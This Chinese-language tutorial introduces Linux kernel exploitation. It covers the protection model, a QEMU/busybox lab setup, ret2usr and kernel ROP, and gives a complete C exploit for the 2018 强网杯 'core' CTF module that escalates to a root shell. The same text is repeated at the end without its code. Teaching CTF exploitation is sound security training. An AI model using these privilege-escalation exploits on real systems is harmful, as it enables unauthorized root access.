kernel pwn从小白到大神(一)
字数 2531 2025-08-22 12:22:37

Linux Kernel Pwn 从入门到精通

1. 内核基础理论

1.1 操作系统内核概念

操作系统内核(Operating System Kernel)是一种特殊软件,负责在硬件和软件之间建立桥梁,确保系统稳定高效运行。与普通进程相比,内核代码执行时具有高权限,拥有完全的硬件访问控制权。

1.2 分级保护域(Rings)

x86架构采用分级保护域(hierarchical protection domains)模型,简称Rings:

  • Ring 0:内核模式和驱动程序
  • Ring 2:需要特权的代码(如I/O权限的用户程序)
  • Ring 3:非特权代码(大多数用户程序)

不同系统采用不同Ring保护机制,如Windows 7使用2环,Honeywell 6180使用8环。

1.3 状态切换机制

用户态与内核态切换主要通过两种途径:

  1. 中断与异常:CPU接收到中断/异常信号时自动切换到Ring 0
  2. 特权级指令
    • iret/sysret:内核→用户
    • sysenter/syscall:用户→内核

1.4 用户态→内核态切换流程

  1. 通过swapgs切换GS段寄存器
  2. 保存用户栈顶到CPU独占区域,加载内核栈顶
  3. 保存寄存器值
  4. 判断是否为x32_abi
  5. 根据系统调用号跳转到sys_call_table执行

1.5 内核态→用户态切换流程

  1. 通过swapgs恢复GS值
  2. 使用sysretqiretq返回用户空间

2. 进程权限管理

2.1 进程凭证(credential)

内核使用task_struct表示进程,其中包含cred结构体管理权限:

  • real UID/GID:实际用户/组ID
  • saved UID/GID:保存的用户/组ID(用于SUID程序)
  • effective UID/GID:决定访问控制权限
  • fs UID/GID:VFS操作使用的UID/GID

2.2 权限修改函数

// 创建新的cred结构体副本
struct cred* prepare_kernel_cred(struct task_struct* daemon);

// 应用新的cred结构体
void commit_creds(struct cred *new);

提权常用方式:commit_creds(prepare_kernel_cred(NULL))

3. 可装载内核模块(LKM)

大多数CTF中的kernel漏洞出现在LKM中:

  • 文件格式:ELF(与用户态相同)
  • 不能独立运行,作为内核一部分存在

3.1 相关命令

命令 功能
insmod 加载模块到内核
rmmod 从内核卸载模块
lsmod 列出已加载模块
modprobe 添加/删除模块(处理依赖)

4. 内核交互机制

4.1 系统调用

通过系统调用号实现,如64位下read的系统调用号为0。

4.2 ioctl系统调用

int ioctl(int fd, unsigned long request, ...);

用于设备控制,比标准文件操作更灵活。

4.3 常用内核函数

函数 功能
printk 内核空间打印调试信息
copy_from_user() 用户空间→内核空间数据拷贝
copy_to_user() 内核空间→用户空间数据拷贝
kmalloc()/kfree() 内核空间内存分配/释放

5. 环境搭建

5.1 依赖安装

sudo apt-get update
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils qemu \
flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev \
libpixman-1-dev zlib1g-dev libelf-dev dwarves zstd

5.2 获取内核镜像

  1. 下载内核源码(如5.11版本):
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.tar.xz
tar -xvf linux-5.11.tar.xz
cd linux-5.11.1/
  1. 配置编译选项:
make menuconfig

确保勾选:

  • Kernel hacking → Kernel debugging
  • Compile the kernel with debug info
  • KGDB: kernel debugger
  • Compile the kernel with frame pointers
  1. 修改.config文件:
CONFIG_SYSTEM_TRUSTED_KEYS=""
  1. 编译内核:
make -j$(nproc) bzImage

5.3 构建文件系统

  1. 编译busybox:
wget https://busybox.net/downloads/busybox-1.33.0.tar.bz2
tar -jxvf busybox-1.33.0.tar.bz2
cd busybox-1.33.0/
make menuconfig  # 勾选Build static file
make install
  1. 配置磁盘镜像:
cd _install
mkdir -pv {bin,tmp,sbin,etc,proc,sys,home,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
touch etc/inittab
mkdir etc/init.d
touch etc/init.d/rcS
chmod +x ./etc/init.d/rcS
  1. 配置初始化脚本:
cat <<EOF > etc/inittab
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init
EOF

cat <<EOF > etc/init.d/rcS
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo -e "\nBoot took $(cut -d' ' -f1/proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
poweroff -d 0 -f
EOF
  1. 配置用户组:
echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd
echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd
echo "root:x:0:" > etc/group
echo "ctf:x:1000:" >> etc/group
echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab
  1. 打包文件系统:
find . | cpio -o --format=newc > ../rootfs.cpio

5.4 QEMU运行内核

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -monitor /dev/null \
    -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=1 \
    -nographic \
    -s

参数说明:

  • -m:虚拟机内存大小
  • -kernel:内核镜像路径
  • -initrd:磁盘镜像路径
  • -append:内核启动参数
  • -cpu:CPU选项(如开启SMEP保护)
  • -s:开启gdb调试(监听1234端口)

6. 调试技术

6.1 获取模块基地址

lsmod
cat /sys/module/<module_name>/sections/.text

6.2 GDB调试脚本

#!/bin/sh
pwndbg -q -ex "target remote localhost:1234" \
    -ex "add-symbol-file ./core.ko $1" \
    -ex "b core_copy_func" \
    -ex "b core_write" \
    -ex "b core_ioctl" \
    -ex "b* core_copy_func+0x3b" \
    -ex "c"

7. 漏洞利用技术

7.1 ret2usr(已过时)

在没有SMAP/SMEP保护的情况下,内核空间可以执行用户空间代码:

void ret2usr() {
    __asm__(
        "xor rdi,rdi;"
        "mov rax,prepare_kernel_cred;"
        "call rax;"
        "mov rdi,rax;"
        "mov rax,commit_creds;"
        "call rax;"
    );
}

7.2 Kernel ROP

在内核态构造ROP链完成提权:

  1. 从vmlinux中提取gadget:
ROPgadget --binary ./vmlinux > rop_all.txt
  1. 如果没有vmlinux,可以从bzImage提取:
./extract-vmlinux ./bzImage > vmlinux
  1. 典型ROP链构造:
ATTACK_init();
ATTACK_change(canary);
ATTACK_change(0);
ATTACK_change(Get_Real_addr(rdi_ret));
ATTACK_change(0);
ATTACK_change(prepare_kernel_cred);
ATTACK_change(Get_Real_addr(rdx_ret));
ATTACK_change(commit_creds + 2);
ATTACK_change(Get_Real_addr(movRdi_Rax_callRDX));
ATTACK_change(Get_Real_addr(swapgs_popfq_ret));
ATTACK_change(0);
ATTACK_change(iretq_ret + vmlinux_base);
ATTACK_change((size_t)getshell);
ATTACK_change(user_cs);
ATTACK_change(user_rflags);
ATTACK_change(user_sp);
ATTACK_change(user_ss);

8. 实战案例:2018强网杯-core

8.1 漏洞分析

  1. 通过/proc/core文件与内核交互
  2. core_read中存在栈溢出,可泄露canary
  3. core_copy_func中存在整数溢出,可绕过长度检查
  4. core_write可将用户态数据写入内核

8.2 利用步骤

  1. 读取/tmp/kallsyms泄露提权函数地址
  2. 保存用户空间寄存器状态
  3. 利用ioctl泄露canary
  4. 构造ROP链完成提权
  5. 返回用户态执行system("/bin/sh")

8.3 完整EXP

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>

#define __int64 long long

size_t raw_vmlinux_base = 0xffffffff81000000;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t user_cs, user_ss, user_rflags, user_sp;

void save_status();
size_t find_symbols();
void printColor(char *buf);
void getshell(void);

void set_off(int fd, __int64 data){
    printf("[*] set off -> %lld\n", data);
    ioctl(fd, 0x6677889C, data);
}

void core_read(int fd, char *buf){
    printf("[*] core read addr-> 0x%llx\n", buf);
    ioctl(fd, 0x6677889B, buf);
}

void core_copy_func(int fd, __int64 data){
    printf("[*] core_copy_func -> %llx\n", data);
    ioctl(fd, 0x6677889A, data);
}

size_t Get_Real_addr(size_t addr){
    return addr - raw_vmlinux_base + vmlinux_base;
}

typedef struct StackAttack{
    size_t buf[256];
    int idx;
} ATTACKS, *P_IMAGE_stack;

P_IMAGE_stack soverflow;

void ATTACK_init(){
    puts("[*]ATTACK_init");
    soverflow = (P_IMAGE_stack)malloc(sizeof(ATTACKS));
    if(soverflow == NULL){
        puts("[*]init error");
        exit(-1);
    }
    soverflow->idx = 8;
}

void ATTACK_change(size_t data){
    soverflow->buf[soverflow->idx] = data;
    soverflow->idx++;
}

void ret2usr(){
    __asm__(
        "xor rdi,rdi;"
        "mov rax,prepare_kernel_cred;"
        "call rax;"
        "mov rdi,rax;"
        "mov rax,commit_creds;"
        "call rax;"
    );
}

const char* FILESYM = "/tmp/kallsyms\0";
const char* FileAttack = "/proc/core\0";
const __int64 commit_offset = 0x9c8e0;
const __int64 prepare_offset = 0x9cce0;

int main(void){
    puts("[*]start");
    save_status();
    
    int fd = open(FileAttack, 2);
    if(fd < 0){
        puts("[*]open /proc/core error!");
    }
    
    find_symbols(FILESYM, commit_offset, prepare_offset);
    
    set_off(fd, 64);
    char buf[64] = {0};
    core_read(fd, buf);
    
    size_t canary = ((size_t *)buf)[0];
    printf("[*] canary -> 0x%llx\n", canary);
    
    size_t swapgs_popfq_ret = 0xffffffff81a012da;
    size_t iretq_ret = 0x50ac2;
    
    ATTACK_init();
    puts("[*]ATTACK payload++");
    ATTACK_change((canary));
    ATTACK_change(0);
    ATTACK_change((size_t)ret2usr);
    ATTACK_change(Get_Real_addr(swapgs_popfq_ret));
    ATTACK_change(0);
    ATTACK_change(iretq_ret + vmlinux_base);
    ATTACK_change((size_t)getshell);
    ATTACK_change(user_cs);
    ATTACK_change(user_rflags);
    ATTACK_change(user_sp);
    ATTACK_change(user_ss);
    
    printColor("[*]write");
    write(fd, soverflow->buf, 0x800);
    core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100));
    
    return 0;
}

void save_status(){
    __asm__(
        "mov user_cs,cs;"
        "pushf;"
        "pop user_rflags;"
        "mov user_sp,rsp;"
        "mov user_ss,ss;"
    );
}

size_t find_symbols(const char* FILENAME, __int64 commit_offset, __int64 prepare_offset){
    FILE* kallsyms_fd = fopen(FILENAME, "r");
    if(kallsyms_fd < 0){
        puts("[*]open kallsyms error!");
        exit(0);
    }
    
    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd)){
        if(commit_creds & prepare_kernel_cred) return 0;
        
        //find commit_creds
        if(strstr(buf, "commit_creds") && !commit_creds){
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            vmlinux_base = commit_creds - commit_offset;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }
        
        //find prepare_kernel_cred
        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - prepare_offset;
        }
    }
    
    if(!commit_creds & !prepare_kernel_cred){
        puts("[*]read kallsyms error!");
        exit(0);
    }
}

void getshell(void) {
    if(getuid()){
        printColor("[x] fail get shell");
        exit(-1);
    }
    printColor("[*]Successful");
    system("/bin/sh");
}

void printColor(char *buf){
    printf("\033[31m\033[1m%s\033[0m\n", buf);
}

9. 总结

  1. 理解内核基本概念和权限模型
  2. 掌握内核环境搭建和调试技术
  3. 熟悉常见内核漏洞类型和利用方法
  4. 根据保护机制选择合适的利用技术(ret2usr/Kernel ROP)
  5. 注意保存和恢复用户态上下文

随着内核保护机制(SMEP/SMAP/KASLR/KPTI等)的增强,内核漏洞利用技术也在不断演进,需要持续学习和研究新的绕过方法。

Linux Kernel Pwn 从入门到精通 1. 内核基础理论 1.1 操作系统内核概念 操作系统内核(Operating System Kernel)是一种特殊软件,负责在硬件和软件之间建立桥梁,确保系统稳定高效运行。与普通进程相比,内核代码执行时具有 高权限 ,拥有完全的硬件访问控制权。 1.2 分级保护域(Rings) x86架构采用分级保护域(hierarchical protection domains)模型,简称Rings: Ring 0 :内核模式和驱动程序 Ring 2 :需要特权的代码(如I/O权限的用户程序) Ring 3 :非特权代码(大多数用户程序) 不同系统采用不同Ring保护机制,如Windows 7使用2环,Honeywell 6180使用8环。 1.3 状态切换机制 用户态与内核态切换主要通过两种途径: 中断与异常 :CPU接收到中断/异常信号时自动切换到Ring 0 特权级指令 : iret / sysret :内核→用户 sysenter / syscall :用户→内核 1.4 用户态→内核态切换流程 通过 swapgs 切换GS段寄存器 保存用户栈顶到CPU独占区域,加载内核栈顶 保存寄存器值 判断是否为x32_ abi 根据系统调用号跳转到 sys_call_table 执行 1.5 内核态→用户态切换流程 通过 swapgs 恢复GS值 使用 sysretq 或 iretq 返回用户空间 2. 进程权限管理 2.1 进程凭证(credential) 内核使用 task_struct 表示进程,其中包含 cred 结构体管理权限: real UID/GID :实际用户/组ID saved UID/GID :保存的用户/组ID(用于SUID程序) effective UID/GID :决定访问控制权限 fs UID/GID :VFS操作使用的UID/GID 2.2 权限修改函数 提权常用方式: commit_creds(prepare_kernel_cred(NULL)) 3. 可装载内核模块(LKM) 大多数CTF中的kernel漏洞出现在LKM中: 文件格式:ELF(与用户态相同) 不能独立运行,作为内核一部分存在 3.1 相关命令 | 命令 | 功能 | |-----------|--------------------------| | insmod | 加载模块到内核 | | rmmod | 从内核卸载模块 | | lsmod | 列出已加载模块 | | modprobe | 添加/删除模块(处理依赖) | 4. 内核交互机制 4.1 系统调用 通过系统调用号实现,如64位下 read 的系统调用号为0。 4.2 ioctl系统调用 用于设备控制,比标准文件操作更灵活。 4.3 常用内核函数 | 函数 | 功能 | |--------------------|--------------------------------| | printk | 内核空间打印调试信息 | | copy_ from_ user() | 用户空间→内核空间数据拷贝 | | copy_ to_ user() | 内核空间→用户空间数据拷贝 | | kmalloc()/kfree() | 内核空间内存分配/释放 | 5. 环境搭建 5.1 依赖安装 5.2 获取内核镜像 下载内核源码(如5.11版本): 配置编译选项: 确保勾选: Kernel hacking → Kernel debugging Compile the kernel with debug info KGDB: kernel debugger Compile the kernel with frame pointers 修改.config文件: 编译内核: 5.3 构建文件系统 编译busybox: 配置磁盘镜像: 配置初始化脚本: 配置用户组: 打包文件系统: 5.4 QEMU运行内核 参数说明: -m :虚拟机内存大小 -kernel :内核镜像路径 -initrd :磁盘镜像路径 -append :内核启动参数 -cpu :CPU选项(如开启SMEP保护) -s :开启gdb调试(监听1234端口) 6. 调试技术 6.1 获取模块基地址 6.2 GDB调试脚本 7. 漏洞利用技术 7.1 ret2usr(已过时) 在没有SMAP/SMEP保护的情况下,内核空间可以执行用户空间代码: 7.2 Kernel ROP 在内核态构造ROP链完成提权: 从vmlinux中提取gadget: 如果没有vmlinux,可以从bzImage提取: 典型ROP链构造: 8. 实战案例:2018强网杯-core 8.1 漏洞分析 通过 /proc/core 文件与内核交互 core_read 中存在栈溢出,可泄露canary core_copy_func 中存在整数溢出,可绕过长度检查 core_write 可将用户态数据写入内核 8.2 利用步骤 读取 /tmp/kallsyms 泄露提权函数地址 保存用户空间寄存器状态 利用 ioctl 泄露canary 构造ROP链完成提权 返回用户态执行 system("/bin/sh") 8.3 完整EXP 9. 总结 理解内核基本概念和权限模型 掌握内核环境搭建和调试技术 熟悉常见内核漏洞类型和利用方法 根据保护机制选择合适的利用技术(ret2usr/Kernel ROP) 注意保存和恢复用户态上下文 随着内核保护机制(SMEP/SMAP/KASLR/KPTI等)的增强,内核漏洞利用技术也在不断演进,需要持续学习和研究新的绕过方法。